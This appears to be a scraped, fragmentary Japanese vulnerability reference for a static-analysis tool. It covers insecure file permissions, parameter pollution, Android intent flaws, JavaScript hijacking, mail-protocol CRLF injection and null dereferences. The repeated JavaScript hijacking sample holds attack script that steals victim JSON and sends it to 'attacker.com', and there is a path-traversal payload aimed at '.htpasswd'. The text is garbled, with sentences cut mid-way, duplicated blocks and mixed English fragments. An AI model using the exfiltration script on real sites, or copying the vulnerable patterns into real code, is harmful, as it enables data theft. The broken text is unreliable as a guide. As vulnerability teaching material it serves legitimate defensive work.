permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...
publicReport
に悪意のある値 (../../localuser/public_html/.htpasswd
など) を指定した場合、指定されたファイルは攻撃者から読み取り可能となります。
...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...
publicReport
に悪意のある値 (../../localuser/public_html/.htpasswd
など) を指定した場合、指定されたファイルは攻撃者から読み取り可能となります。
...
mask = config_params['perms']
File.chmod(filename, mask)
...
services-config.xml
ディスクリプタファイルは "Logging" XML 要素を指定して、ログの各要素を記述します。次のようになります。
<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>
target
タグでは、ログレベルを示す level
と呼ばれる属性をオプションで使用できます。デバッグ レベルが詳細すぎるレベルに設定されている場合、アプリケーションが機密データをログ ファイルに書き込む可能性があります。script
タグについて考えてみましょう。
<script src="http://www.example.com/js/fancyWidget.js"></script>
www.example.com
以外の Web サイトでこのタグが表示される場合、このサイトは www.example.com
に依存し、正しい悪意のないコードが提供されます。攻撃者が www.example.com
を乗っ取っている場合、fancyWidget.js
の内容を改変して、サイトのセキュリティが侵害される場合があります。たとえば、fancyWidget.js
にユーザーの機密情報を盗むコードが追加される可能性があります。
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
en&poll_id=1
のような lang
を指定できる可能性を考慮しておらず、攻撃者が思いのままに poll_id
を変更できます。
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
en&poll_id=1
のような lang
を指定できる可能性を考慮しておらず、攻撃者が思いのままに poll_id
を変更できます。
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
を指定していますが、さらに name=alice&
を追加しています。これが最初に出現するサーバーで使用されると、alice
になりすましてそのアカウントに関する情報をさらに取得します。
String arg = request.getParameter("arg");
...
Intent intent = new Intent();
...
intent.setClassName(arg);
ctx.startActivity(intent);
...
Intent
が検出されています。暗黙的な内部インテントにより、システムが内部コンポーネントに対する中間者攻撃にさらされる可能性があります。Intent
は、内部コンポーネントによって定義されたカスタム アクションを使用します。暗黙的なインテントを使用すると、特定のコンポーネントを知らなくても、外部コンポーネントからのインテントの呼び出しが容易になります。この 2 つを組み合わせることで、アプリケーションは、目的のアプリケーション コンテキストの外部から、特定の内部使用のために指定されたインテントにアクセスできるようになります。Intent
を処理できることにより、情報漏洩や Denial of Service からリモート コード実行に至るまで、Intent
で指定された内部アクションのキャパシティに応じて、さまざまな深刻度の中間者攻撃が可能になります。Intent
を使用しています。
...
val imp_internal_intent_action = Intent("INTERNAL_ACTION_HERE")
startActivity(imp_internal_intent_action)
...
PendingIntent
が検出されています。暗黙的なペンディング インテントは、Denial of Service、個人情報やシステム情報の漏洩、権限昇格などのセキュリティ上の脆弱性を引き起こす可能性があります。Intent
を提供するために作成されます。暗黙的インテントは、一般的な名前やフィルタを使用して実行を決定することで、外部コンポーネントからのインテントの呼び出しを容易にします。Intent
が PendingIntent
として作成されると、Intent
が、想定される一時的なコンテキスト外で実行されている、意図しないコンポーネントに送信される可能性があります。その結果、システムが、Denial of Service、個人情報やシステム情報の漏洩、特権昇格などの攻撃にさらされることになります。PendingIntent
を使用しています。
...
val imp_intent = Intent()
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable_impintintent = PendingIntent.getService(
this,
0,
imp_intent,
flag_mut
)
...
FLAG_MUTABLE
に設定された PendingIntent
が検出されています。フラグ値 FLAG_MUTABLE
を使用して作成されたペンディング インテントでは、未指定の Intent
フィールドにダウンストリームを設定されやすく、その結果、Intent
のキャパシティが変更され、システムが攻撃にさらされやすくなります。PendingIntent
の基盤となる Intent
の変更を、作成後に許可すると、システムが攻撃にさらされやすくなります。これは主に、基盤となる Intent
の全体的な機能に依存します。ほとんどの場合、PendingIntent
フラグを FLAG_IMMUTABLE
に設定することが、潜在的な問題を防ぐためのベスト プラクティスです。FLAG_MUTABLE
を使用して作成された PendingIntent
が含まれています。
...
val intent_flag_mut = Intent(Intent.ACTION_GTALK_SERVICE_DISCONNECTED, Uri.EMPTY, this, DownloadService::class.java)
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable = PendingIntent.getService(
this,
0,
intent_flag_mut,
flag_mut
)
...
Intent
を使用してアクティビティを開始し、サービスを開始し、ブロードキャストを配信すると、攻撃者は内部アプリケーション コンポーネントを自由に起動し、内部コンポーネントの振る舞いを制御し、一時的な権限許可を通してコンテンツ プロバイダーから保護データに間接的にアクセスできるようになる可能性があります。Intent
の Extras Bundle にネスト化された任意の Intent
を受け入れます。startActivity
、startService
、または sendBroadcast
を呼び出すことで、任意の Intent
を使用してコンポーネントを起動します。Intent
を受け入れ、その Intent
を使用してアクティビティを開始しています。
...
Intent nextIntent = (Intent) getIntent().getParcelableExtra("next-intent");
startActivity(nextIntent);
...
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
タグを使用して評価される有効な JavaScript から構成されるレスポンスを生成するため、JavaScript 乗っ取り攻撃に対して脆弱となります [1]。既定では、このフレームワークは POST メソッドを使用してリクエストを送信します。そのため、悪意ある <script>
タグからリクエストを生成することは困難です (<script>
タグは GET リクエストのみを生成するため)。しかし、Microsoft AJAX.NET では、GET リクエストを使用するメカニズムが利用できるようになっています。実際、多くの専門家が、ブラウザのキャッシュ機能を活用してパフォーマンスを向上するために GET リクエストを使用することをプログラマに対して奨励しています。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
タグを使用して評価される有効な JavaScript から構成されるレスポンスを生成するため、JavaScript 乗っ取り攻撃に対して脆弱となります [1]。既定では、このフレームワークは POST メソッドを使用してリクエストを送信します。そのため、悪意ある <script>
タグからリクエストを生成することは困難です (<script>
タグは GET リクエストのみを生成するため)。しかし、GWT では、GET リクエストを使用するメカニズムが利用できるようになっています。実際、多くの専門家が、ブラウザのキャッシュ機能を活用してパフォーマンスを向上するために GET リクエストを使用することをプログラマに対して奨励しています。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
search
メソッドに渡された javax.naming.directory.SearchControls
インスタンスで returningObjectFlag
を true
に設定するか、代わりにこのフラグを設定するライブラリ関数を使用することで、オブジェクトを返す検索を実行します。
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
chroot()
などの操作を実行するのに必要な、昇格した権限レベルは、操作を実行したらすぐに降格させます。chroot()
などの権限を持つ関数をコールする場合、先に root
権限を獲得する必要があります。権限付きの操作が完了したら、プログラムは root
権限を降格させ、呼び出したユーザーの権限レベルに戻さなければなりません。chroot()
をコールして、アプリケーションを APP_HOME
配下のファイル システムのサブセットに制限することで、攻撃者がプログラムを使用して他の場所にあるファイルに無許可でアクセスできないようにしています。コードはユーザーが指定したファイルを開き、ファイルの内容を処理しています。
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
setuid()
をコールしない場合、アプリケーションは不必要な root
権限で動作し続けます。悪意ある操作はすべてスーパーユーザーの権限で実行されることになるので、攻撃者によってアプリケーションに対して実行される悪用が成功すると権限昇格攻撃になります。アプリケーションが権限レベルを root
以外のユーザーに降格していれば、被害の可能性は大幅に減少します。CREATE
コマンドを作成します。攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入します。
...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
USER
および PASS
コマンドを作成します。攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入します。
...
String username = request.getParameter("username");
String password = request.getParameter("password");
...
POP3SClient pop3 = new POP3SClient(proto, false);
pop3.login(username, password)
...
VRFY
コマンドを作成します。攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入する可能性があります。
...
c, err := smtp.Dial(x)
if err != nil {
log.Fatal(err)
}
user := request.FormValue("USER")
c.Verify(user)
...
VRFY
command that is sent to the SMTP server.攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入します。
...
String user = request.getParameter("user");
SMTPSSLTransport transport = new SMTPSSLTransport(session,new URLName(Utilities.getProperty("smtp.server")));
transport.connect(Utilities.getProperty("smtp.server"), username, password);
transport.simpleCommand("VRFY " + user);
...
VRFY
command that is sent to the SMTP server.攻撃者はこのパラメーターを使用して、サーバーに送信されるコマンドを変更し、CRLF 文字を使用して新しいコマンドを挿入します。
...
user = request.GET['user']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
session.docmd("VRFY", user)
...
null
を戻すことがある関数の戻り値を確認しないため、NULL ポインタを間接参照する場合があります。Item
プロパティによって戻される文字列が null
かどうかを、メンバー関数 Equals()
をコールする前にチェックしないので、null
Dereference の原因になる可能性があります。
string itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...
null
値を間接参照してプログラムが異常終了するのにまかせても同じことです。」null
を返すことがある関数の戻り値を確認しないため、NULL ポインタを間接参照する場合があります。malloc()
で戻されたポインタを使用する前に、メモリの割り当てが正しく行われたかチェックしていません。
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
malloc()
のコールが失敗に終わった理由が、req_size
の超過によるものか、許容範囲外の同時処理によるものか定かではありません。時間の経過とともに蓄積された Memory Leak によるものかも不明です。エラー処理を怠ると、原因を究明する術はありません。null
を返すことがある関数の戻り値を確認しないため、NULL ポインタを間接参照する場合があります。getParameter()
によって戻される文字列が null
かどうかを、メンバー関数 compareTo()
をコールする前にチェックしないので、null
Dereference の原因になる可能性があります。例 2:次のコードは、
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
null
に設定され、それが「常に定義される」という誤った前提でプログラマによって後から間接参照されるシステムプロパティを示します。
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95") )
System.out.println("Not supported");
null
値を間接参照してプログラムが異常終了するのにまかせても同じことです。」